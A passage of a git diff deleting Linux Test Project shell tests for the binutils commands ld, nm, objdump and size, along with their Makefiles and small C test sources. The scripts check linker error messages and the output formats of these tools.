-TCtmp=${TCtmp:-/tmp/ld-$$}
-mkdir $TCtmp
-
-if uname -a | grep -iq x86_64
-then
-	file $TCdat/ldmain.obj | grep 32-bit >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		export LDEMULATION="elf_i386"
-	fi
-elif uname -a | grep -iq powerpc
-then
-	file $TCdat/f1.obj | grep 64-bit >/dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		export LDEMULATION="elf64ppc"
-	fi
-fi
-
-#ASSERTION 1
-#Test for graceful failure when ld can't find a fileTest calling ld directly
-#
-#CODE
-	echo "Assertion 1 .................."
-	ld x.obj y.obj 2> $TCtmp/errmsg.out
-#cat <<EOF > $TCtmp/errmsg.exp
-#$LD: cannot open x.obj: No such file or directory
-#EOF
-
-#diff -iw  $TCtmp/errmsg.out $TCtmp/errmsg.exp
-grep "$LD:" $TCtmp/errmsg.out | grep [xy].obj | grep -q "No such file or directory"
-if [ $? -eq 0 ]
-then
-	echo  "-)"
-else
-	echo "FAIL -  ld failed to give expected error msg"
-	do_cleanup
-	exit 1
-fi
-
-
-
-##ASSERTION 2
-#Test for graceful failure when ld can't find a fileTest calling ld through cc
-#
-#CODE
-echo "Assertion 2 .................."
-$CC x.obj y.obj 2> $TCtmp/errmsg.out
-cat <<EOF > $TCtmp/errmsg.exp
-$CC: x.obj: No such file or directory
-$CC: y.obj: No such file or directory
-$CC: No input files
-EOF
-cat <<EOF > $TCtmp/errmsg.exp2
-$CC: error: x.obj: No such file or directory
-$CC: error: y.obj: No such file or directory
-$CC: fatal error: No input files
-compilation terminated.
-EOF
-
-diff -iw $TCtmp/errmsg.out $TCtmp/errmsg.exp
-if [ $? -eq 0 ]; then
-	echo  "-)"
-else
-	diff -iw $TCtmp/errmsg.out $TCtmp/errmsg.exp2
-	if [ $? -eq 0 ]; then
-		echo "-)"
-	else
-		echo "FAIL -  ld failed to give expected error msg"
-		do_cleanup
-		exit 1
-	fi
-fi
-
-
-
-##ASSERTION 3
-#Test for graceful failure when ld can't find a fileTest calling ld directly, with a non-existent path
-#
-#CODE
-	echo "Assertion 3 .................."
-	$LD bad/x.obj 2> $TCtmp/errmsg.out
-#cat <<EOF > $TCtmp/errmsg.exp
-#$LD: cannot open bad/x.obj: No such file or directory
-#EOF
-cat $TCtmp/errmsg.out | grep "$LD:" | grep "bad/[xy].obj:" | grep -q "No such file or directory"
-
-#diff -iw  $TCtmp/errmsg.out $TCtmp/errmsg.exp
-if [ $? -eq 0 ]
-then
-	echo  "-)"
-else
-	echo "FAIL -  ld failed to give expected error msg"
-	do_cleanup
-	exit 1
-fi
-
-
-
-##ASSERTION 4
-#Test for graceful failure when ld can't find a fileTest calling ld through cc, with a non-existent path
-#
-#CODE
-	echo "Assertion 4 .................."
-	$CC bad/x.obj 2> $TCtmp/errmsg.out
-cat <<EOF > $TCtmp/errmsg.exp
-$CC: bad/x.obj: No such file or directory
-$CC: No input files
-EOF
-cat <<EOF > $TCtmp/errmsg.exp2
-$CC: error: bad/x.obj: No such file or directory
-$CC: fatal error: No input files
-compilation terminated.
-EOF
-
-diff -iw  $TCtmp/errmsg.out $TCtmp/errmsg.exp
-if [ $? -eq 0 ]; then
-	echo  "-)"
-else
-	diff -iw  $TCtmp/errmsg.out $TCtmp/errmsg.exp2
-	if [ $? -eq 0 ]; then
-		echo "-)"
-	else
-		echo "FAIL -  ld failed to give expected error msg"
-		do_cleanup
-		exit 1
-	fi
-fi
-
-## ASSERTION 5
-## Making sure the "shared" option works as designed
-##
-echo "Assertion 5 .................."
-
-$LD -shared $TCdat/f1.obj $TCdat/d1.obj -o $TCtmp/test.lib
-file $TCtmp/test.lib | grep -q shared
-if [ $? -eq 0 ]; then
-	echo "-)"
-else
-	echo "FAIL - ld failed to build a shared object"
-	do_cleanup
-	exit 1
-fi
-
-
-## ASSERTION 6
-## Making sure that the linker ignores the "-Bstatic" option
-## when using a dynamically linked shared object
-##
-echo "Assertion 6 .................."
-
-$LD -Bdynamic -shared $TCdat/f1.obj $TCdat/d1.obj -o $TCtmp/lola 2>$TCtmp/errmsg.out
-$LD -Bstatic  -L. $TCdat/ldmain.obj $TCdat/rd1.obj $TCtmp/lola -o $TCtmp/a.out 2> $TCtmp/errmsg.out
-#nm $TCtmp/a.out | grep -q DYNAMIC
-rc_code=$?
-
-set -- $($LD --version | awk 'BEGIN { version = "-1"; } /^GNU ld/ { for (i = 1; i <= NF; i++) { if ($i ~ /^[[:digit:]]+\.[[:digit:]]+/) { split ($i, arr, "."); version = sprintf ("%d %d", arr[1], arr[2]); } } } END { if (version == "-1") { exit 1; } else { print version; } }')
-
-if [ $? -ne 0 ] ; then
-	echo "---"
-elif [ "$1" -le "2"  -a "$2" -le "15" ]; then
-	if [ $rc_code -eq 0 ]
-	then
-		echo "-)"
-	else
-		echo "FAIL - ld 9 failed ignore the -Bstatic option with \
-		      shared objects"
-		do_cleanup
-		exit 1
-	fi
-
-else
-	if [ $rc_code -eq 0 ]
-	then
-		echo "FAIL - ld failed to  reject the -Bstatic option \
-		      with shared objects"
-		do_cleanup
-		exit 1
-	else
-		echo "-)"
-	fi
-fi # end of checking for ld version less than 2.16
-
-##
-## ASSERTION 7
-## Making sure that the linker does not accepts shared object
-## when doing static linking try to link with a with and
-## without -r*repeat with -r
-##
-
-
-echo "Assertion 7 .................."
-$LD -Bdynamic -shared $TCdat/ldmain.obj $TCdat/f1.obj $TCdat/rf1.obj -o $TCtmp/lola -L/usr/lib/
-$LD -Bstatic -r  $TCdat/ldmain.obj $TCdat/f1.obj $TCdat/rf1.obj $TCtmp/lola -L/usr/lib/ 2> $TCtmp/errmsg.out
-cat <<EOF > $TCtmp/errmsg.exp
-$TCtmp/lola: could not read symbols: Invalid operation
-EOF
-
-grep -q  "could not read symbols: Invalid operation" $TCtmp/errmsg.out
-rc_grep=$?
-grep -q "ld: attempted static link of dynamic object" $TCtmp/errmsg.out
-if [ $rc_grep -eq 0  -o $? -eq 0 ]; then
-	echo "-)"
-else
-	echo "FAIL - ld failed to give expected error msg"
-	do_cleanup
-	exit 1
-fi
-
-do_cleanup
-echo "ld: PASS"
-exit 0
diff --git a/testcases/commands/ade/nm/Makefile b/testcases/commands/ade/nm/Makefile
deleted file mode 100644
index 09d9c5b..0000000
--- a/testcases/commands/ade/nm/Makefile
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-#    commands/ade/nm testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= nm01 *.c
-
-MAKE_TARGETS		:= $(patsubst $(abs_srcdir)/%.c,%.obj,$(wildcard $(abs_srcdir)/*.c))
-
-$(MAKE_TARGETS): %.obj: %.o
-	mv $^ $@
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/nm/nm01 b/testcases/commands/ade/nm/nm01
deleted file mode 100755
index c78b114..0000000
--- a/testcases/commands/ade/nm/nm01
+++ /dev/null
@@ -1,209 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : nm01
-#
-#  PURPOSE: To test the basic functionality of the `nm` command.
-#
-#  HISTORY:
-#    06/01 Robbie Williamson (robbiew@us.ibm.com)
-#     -Ported
-#
-#
-#---------------------------------------------------------------------------
-#Uncomment line below for debug output
-#trace_logic=${trace_logic:-"set -x"}
-
-CC=${CC:=gcc}
-NM=${NM:=nm}
-TCtmp=${TCtmp:-/tmp/nm$$}
-TCdat=${TCdat:-`pwd`}
-LOOP=1
-do_setup()
-{
-$trace_logic
-  mkdir $TCtmp
-  $CC -o $TCtmp/nmfile $TCdat/nmfile.c
-  $CC -o $TCtmp/nmfile1 $TCdat/nmfile1.c
-  $CC -o $TCtmp/nmfile2 $TCdat/nmfile2.c
-  $CC -o $TCtmp/nmfile3 $TCdat/nmfile3.c
-}
-
-do_cleanup()
-{
-$trace_logic
-  rm -rf $TCtmp
-}
-
-do_test()
-{
-$trace_logic
-TCRESULT=0
-while [ $LOOP -gt 0 ]
-do
-echo "-------System test for $NM command------"
-cd $TCdat
-ar -cr $TCtmp/lib.a nmfile1.obj nmfile1.obj nmfile2.obj nmfile3.obj
-
-# -A  Displays either the full path name or library name of an object
-# on each line.
-
-# CODE
-RC1=0
-RC2=0
-
-mkdir -p $TCtmp/a/b/c/d
-
-$NM -f posix -A $TCtmp/lib.a | grep "$TCtmp/lib.a\[nmfile2.obj\]\:" 2>&1 1>/dev/null
-RC1=$?
-cp $TCtmp/lib.a $TCtmp/a/b/c/d/
-$NM -f posix -A $TCtmp/a/b/c/d/lib.a | grep "$TCtmp/a/b/c/d/lib.a\[nmfile2.obj\]\:"  2>&1 1>/dev/null
-RC2=$?
-
-
-if [ $RC1 -eq  '0' ] && [ $RC2 -eq '0' ]
-then
-	echo "-)1"
-else
-	echo "nm -A: FAIL"
-	do_cleanup
-	exit 1
-fi
-#-------------------------------------------------------------------------------
-
-#The nm -g Displays only external (global)symbols.
-
-# CODE
-
-COUNT=`$NM -f posix -g $TCtmp/nmfile1 | awk '{print $2 }' | grep "[a,b,d,f,t]"  | wc -l` 2>&1 1>/dev/null
-if [ $COUNT -eq 0 ]
-then
-	echo "-)2"
-else
-	echo "nm -g: FAIL"
-	do_cleanup
-	exit 1
-fi
-#-------------------------------------------------------------------------------
-# -t o Displays a symbol's value as an octal rather than
-# a decimal number.
-
-# CODE
-$NM -f posix -t o $TCtmp/nmfile1 | awk '{print $3}' | grep "[8-9]" >/dev/null 2>&1
-if [ $? -eq "1" ]
-then
-	echo "-)3"
-else
-	echo "nm -t o: FAIL"
-	do_cleanup
-	exit 1
-fi
-#-------------------------------------------------------------------------------
-
-# -f sysv Displays information in a SysV output format
-# CODE
-
-count=0
-$NM -f sysv $TCtmp/nmfile1 | grep Name > /dev/null 2>&1
-count=$?
-if [ $count -eq 0 ]
-then
-	echo "-)4"
-else
-	echo "nm -f sysv: FAIL"
-	do_cleanup
-	exit 1
-fi
-
-#-------------------------------------------------------------------------------
-
-# -f bsd Displays information in a BSD output format
-# CODE
-$NM -f bsd $TCtmp/nmfile1 | grep printf | awk '{print $2}' > $TCtmp/nm.diff1
-$NM -f posix $TCtmp/nmfile1 | grep printf | awk '{print $1}' > $TCtmp/nm.diff2
-diff $TCtmp/nm.diff1 $TCtmp/nm.diff2
-if [ $? -eq 0  ]
-then
-	echo "-)5"
-else
-	echo "nm -f bsd: FAIL"
-	do_cleanup
-	exit 1
-fi
-
-#-----------------------------------------------------------------------------
-#-u Displays only undefined symbols.Local and Global
-
-# CODE
-COUNT=0
-$NM -f sysv -u $TCtmp/nmfile1 | grep "Undefined symbols from" 2>&1 1>/dev/null
-if [ $? -eq 0 ]
-then
-	echo "-)6"
-else
-	echo "nm -u: FAIL"
-	do_cleanup
-	exit 1
-fi
-
-#-----------------------------------------------------------------------------
-
-# -v  Sorts output by value instead of alphabetically.
-# CODE
-$NM $TCtmp/nmfile1 | sort | awk '{print $1}'| grep [0-9] > $TCtmp/nm.res1
-$NM -v $TCtmp/nmfile1 | awk '{print $1}' | grep [0-9] > $TCtmp/nm.res2
-diff $TCtmp/nm.res1 $TCtmp/nm.res2 2>&1 1>/dev/null
-
-if [ $? -eq 0 ]
-then
-	echo "-)7"
-else
-	echo "nm -v: FAIL"
-	do_cleanup
-	exit 1
-fi
-#------------------------------------------------------------------------------
-# -s Print archive index.
-# CODE
-
-$NM -s $TCtmp/lib.a | grep "index" 2>&1 1>/dev/null
-if [ $? -eq 0 ]
-then
-	echo "-)8"
-else
-     	echo "nm -s: FAIL"
-	do_cleanup
-	exit 1
-fi
-#-----------------------------------------------------------------------------
-
-: $(( LOOP -= 1 ))
-done
-
-echo "nm01: PASS"
-do_cleanup
-exit 0
-}
-
-#MAIN
-do_setup
-do_test
-
-
diff --git a/testcases/commands/ade/nm/nmfile.c b/testcases/commands/ade/nm/nmfile.c
deleted file mode 100644
index a77ff81..0000000
--- a/testcases/commands/ade/nm/nmfile.c
+++ /dev/null
@@ -1,6 +0,0 @@
-#include <stdio.h>
-int main(void)
-{
-	printf("Hello World\n");
-	return (0);
-}
diff --git a/testcases/commands/ade/objdump/Makefile b/testcases/commands/ade/objdump/Makefile
deleted file mode 100644
index 2f16849..0000000
--- a/testcases/commands/ade/objdump/Makefile
+++ /dev/null
@@ -1,43 +0,0 @@
-#
-#    commands/ade/objdump testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-CFLAGS			+= -g
-
-test_arch.obj: test_arch.o
-	cp $< $@
-
-test_arch_debug: test_arch.o
-	$(LINK.o) $^ $(LOADLIBES) $(LDLIBS) $(OUTPUT_OPTION)
-
-test_arch_stripped: test_arch.o
-	$(LINK.o) $^ $(LOADLIBES) $(LDLIBS) $(OUTPUT_OPTION)
-	$(STRIP) $@
-
-INSTALL_TARGETS		:= objdump01
-
-MAKE_TARGETS		:= test_arch_debug test_arch_stripped test_arch.obj
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/objdump/objdump01 b/testcases/commands/ade/objdump/objdump01
deleted file mode 100755
index 025241d..0000000
--- a/testcases/commands/ade/objdump/objdump01
+++ /dev/null
@@ -1,396 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : objdump
-#
-#  PURPOSE: Tests the functionality of the `objdump` command.
-#
-#  HISTORY:
-#    06/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#
-#-----------------------------------------------------------------------
-#
-#----------------------------------------------------------------------
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
-
-TCsrc=${TCsrc:-${0%/*}}
-TCtmp=${TCtmp:-/tmp/objdump$$}
-
-do_setup()
-{
-	mkdir $TCtmp
-	ar -cr $TCtmp/lib.a $TCsrc/test_arch.obj
-
-	echo 1; objdump -f $TCsrc/test_arch_stripped > $TCtmp/er_dump_f
-	echo 2; objdump -h $TCsrc/test_arch_stripped > $TCtmp/er_dump_h
-	echo 3; objdump -R $TCsrc/test_arch_stripped > $TCtmp/er_dump_R
-	echo 4; objdump -r $TCsrc/test_arch_stripped > $TCtmp/er_dump_reloc
-	echo 5; objdump -t $TCsrc/test_arch_stripped > $TCtmp/er_dump_symbols
-	echo 6; objdump -f --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/er_dump_fshow
-	echo 7; objdump -h --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/er_dump_hshow
-	echo 7; objdump -s --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/er_dump_sshow
-	echo 8; objdump -t --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/er_dump_tshow
-	echo 9; objdump -R --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/er_dump_Rshow
-	echo 10; objdump -r --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/er_dump_rshow
-	echo 11; objdump -T $TCsrc/test_arch_stripped > $TCtmp/er_dump_dynamic_symbols
-	echo 12; objdump -a $TCtmp/lib.a > $TCtmp/er_dump_a
-	echo 13; objdump -a --show-raw-insn $TCtmp/lib.a > $TCtmp/er_dump_ashow
-	echo 14; objdump --debugging $TCsrc/test_arch_debug > $TCtmp/er_dump_debug
-}
-
-do_test()
-{
-	#ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-f   Dump each file header.
-	#
-	#CODE
-
-	objdump -f $TCsrc/test_arch_stripped > $TCtmp/ar_dump_f
-
-	diff -bw  $TCtmp/ar_dump_f  $TCtmp/er_dump_f 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]
-	then
-		echo  "objdump -f"
-	else
-		echo "FAIL - objdump -f"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_f
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-h  Dump the section headers.
-	#
-	#CODE
-
-	objdump -h $TCsrc/test_arch_stripped > $TCtmp/ar_dump_h
-
-	diff -bw  $TCtmp/ar_dump_h $TCtmp/er_dump_h 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -h"
-	else
-		echo "FAIL - objdump -h"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_h
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-R Dump dynamic linking information and static shared library information, if
-	#available.
-	#
-	#CODE
-
-	objdump -R $TCsrc/test_arch_stripped > $TCtmp/ar_dump_R
-
-	diff -bw  $TCtmp/ar_dump_R $TCtmp/er_dump_R 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -R"
-	else
-		echo "FAIL - objdump -R"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_R
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	# -r  Dump relocation information.
-	#
-	#CODE
-
-	objdump -r $TCsrc/test_arch_stripped > $TCtmp/ar_dump_reloc
-
-	diff -bw  $TCtmp/ar_dump_reloc $TCtmp/er_dump_reloc 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -r"
-	else
-		echo "FAIL - objdump -r"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_reloc
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-t  Dump symbol table entries.
-	#
-	#CODE
-
-	objdump -t $TCsrc/test_arch_stripped > $TCtmp/ar_dump_symbols
-
-	diff -bw  $TCtmp/ar_dump_symbols $TCtmp/er_dump_symbols 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -t"
-	else
-		echo "FAIL - objdump -t"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_symbols
-
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-f --show-raw-insn
-	#
-	#--show-raw-insn
-	#
-	#When disassembling instructions, print the instruction  in  hex  as
-	#well  as  in symbolic form.  This is the default except when
-	#--prefix-addresses is used.
-	#
-	#CODE
-
-	objdump -f --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/ar_dump_fshow
-
-	diff -bw   $TCtmp/ar_dump_fshow  $TCtmp/er_dump_fshow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -f --show-raw-insn"
-	else
-		echo "FAIL - objdump -f --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_fshow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-h --show-raw-insn
-	#
-	#When disassembling instructions, print the instruction  in  hex  as
-	#well  as  in symbolic form.  This is the default except when
-	#--prefix-addresses is used.
-	#
-	#CODE
-
-	objdump -h --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/ar_dump_hshow
-
-	diff -bw   $TCtmp/ar_dump_hshow  $TCtmp/er_dump_hshow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -h --show-raw-insn"
-	else
-		echo "FAIL - objdump -h --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_hshow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-s --show-raw-insn
-	#
-	#--show-raw-insn
-	#
-	#When disassembling instructions, print the instruction  in  hex  as
-	#well  as  in symbolic form.  This is the default except when
-	#--prefix-addresses is used.
-	#
-	#
-	#CODE
-
-	objdump -s --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/ar_dump_sshow
-
-	diff -bw   $TCtmp/ar_dump_sshow  $TCtmp/er_dump_sshow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -s --show-raw-insn"
-	else
-		echo "FAIL - objdump -s --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_sshow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-t--show-raw-insn
-	#
-	#--show-raw-insn
-	#
-	#When disassembling instructions, print the instruction  in  hex  as
-	#well  as  in symbolic form.  This is the default except when
-	#--prefix-addresses is used.
-	#
-	#
-	#CODE
-
-	objdump -t --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/ar_dump_tshow
-
-	diff -bw   $TCtmp/ar_dump_tshow  $TCtmp/er_dump_tshow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -t --show-raw-insn"
-	else
-		echo "FAIL - objdump -t --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_tshow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-R --show-raw-insn
-	#
-	#--show-raw-insn
-	#
-	#When disassembling instructions, print the instruction  in  hex  as
-	#well  as  in symbolic form.  This is the default except when
-	#--prefix-addresses is used.
-	#
-	#
-	objdump -R --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/ar_dump_Rshow
-
-	diff -bw   $TCtmp/ar_dump_Rshow  $TCtmp/er_dump_Rshow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -R --show-raw-insn"
-	else
-		echo "FAIL - objdump -R --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_Rshow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-r --show-raw-insn
-	#
-	#--show-raw-insn
-	#
-	#When disassembling instructions, print the instruction  in  hex  as
-	#well  as  in symbolic form.  This is the default except when
-	#--prefix-addresses is used.
-	#
-	#
-	#CODE
-
-	objdump -r --show-raw-insn $TCsrc/test_arch_stripped > $TCtmp/ar_dump_rshow
-
-	diff -bw   $TCtmp/ar_dump_rshow  $TCtmp/er_dump_rshow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -r --show-raw-insn"
-	else
-		echo "FAIL - objdump -r --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_rshow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#
-	#-T
-	#
-	#Dumps the dynamic symbol table entries - dumps all of .dynsym
-	#
-	#
-	#CODE
-
-	objdump -T $TCsrc/test_arch_stripped > $TCtmp/ar_dump_dynamic_symbols
-
-	diff -bw   $TCtmp/ar_dump_dynamic_symbols  $TCtmp/er_dump_dynamic_symbols 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -T"
-	else
-		echo "FAIL - objdump -T"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_dynamic_symbols
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#-a
-	#
-	#CODE
-
-	objdump -a $TCtmp/lib.a > $TCtmp/ar_dump_a
-
-	diff -bw $TCtmp/ar_dump_a $TCtmp/er_dump_a 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -a"
-	else
-		echo "FAIL - objdump -a"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_a
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#- --show-raw-insn
-	#
-	#CODE
-
-	objdump -a --show-raw-insn $TCtmp/lib.a > $TCtmp/ar_dump_ashow
-
-	diff -bw $TCtmp/ar_dump_ashow $TCtmp/er_dump_ashow 2>&1 1>/dev/null
-
-	if [ $? -eq 0 ]; then
-		echo  "objdump -a --show-raw-insn"
-	else
-		echo "FAIL - objdump -a --show-raw-insn"
-		exit 1
-	fi
-
-	rm -f $TCtmp/[ae]r_dump_ashow
-
-	##ASSERTION POSIX NEXT_AVAILABLE C
-	#--debugging
-	#
-	#CODE
-
-	if ! objdump --debugging $TCsrc/test_arch_debug > $TCtmp/ar_dump_debug; then
-		echo "FAIL - objdump --debugging"
-		exit 1
-	else
-		diff -bw $TCtmp/ar_dump_debug $TCtmp/er_dump_debug 2>&1 1>/dev/null
-		if [ $? -eq 0 ]; then
-			echo  "objdump --debugging"
-		else
-			echo "FAIL - objdump --debugging"
-			exit 1
-		fi
-
-	fi
-
-	rm -rf $TCtmp
-
-	echo PASS
-	exit 0
-}
-
-do_setup
-do_test
diff --git a/testcases/commands/ade/objdump/test_arch.c b/testcases/commands/ade/objdump/test_arch.c
deleted file mode 100644
index 75f47e5..0000000
--- a/testcases/commands/ade/objdump/test_arch.c
+++ /dev/null
@@ -1,18 +0,0 @@
-#include <stdio.h>
-
-int main(void)
-{
-
-	int i = 0;
-
-	for (i = 0; i < 10; i++) {
-		if ((i % 2) == 0)
-			printf("World \n");
-		else
-			printf(" Hello \n ");
-	}
-
-	printf(" the end \n");
-
-	return 0;
-}
diff --git a/testcases/commands/ade/size/Makefile b/testcases/commands/ade/size/Makefile
deleted file mode 100644
index ae2543c..0000000
--- a/testcases/commands/ade/size/Makefile
+++ /dev/null
@@ -1,29 +0,0 @@
-#
-#    commands/ade/size testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= size01
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/size/file0.in b/testcases/commands/ade/size/file0.in
deleted file mode 100644
index e69de29..0000000
--- a/testcases/commands/ade/size/file0.in
+++ /dev/null
diff --git a/testcases/commands/ade/size/size01 b/testcases/commands/ade/size/size01
deleted file mode 100755
index d6c7b70..0000000
--- a/testcases/commands/ade/size/size01
+++ /dev/null
@@ -1,141 +0,0 @@
-#!/bin/sh
-#******************************************************************************
-#
-#   Copyright (c) International Business Machines  Corp., 2001
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : size01
-#
-#  PURPOSE: To test the basic functionality of `size`.
-#
-#  HISTORY:
-#    06/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#
-#-----------------------------------------------------------------------
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
-
-TCsrc=${TCsrc:-`pwd`}
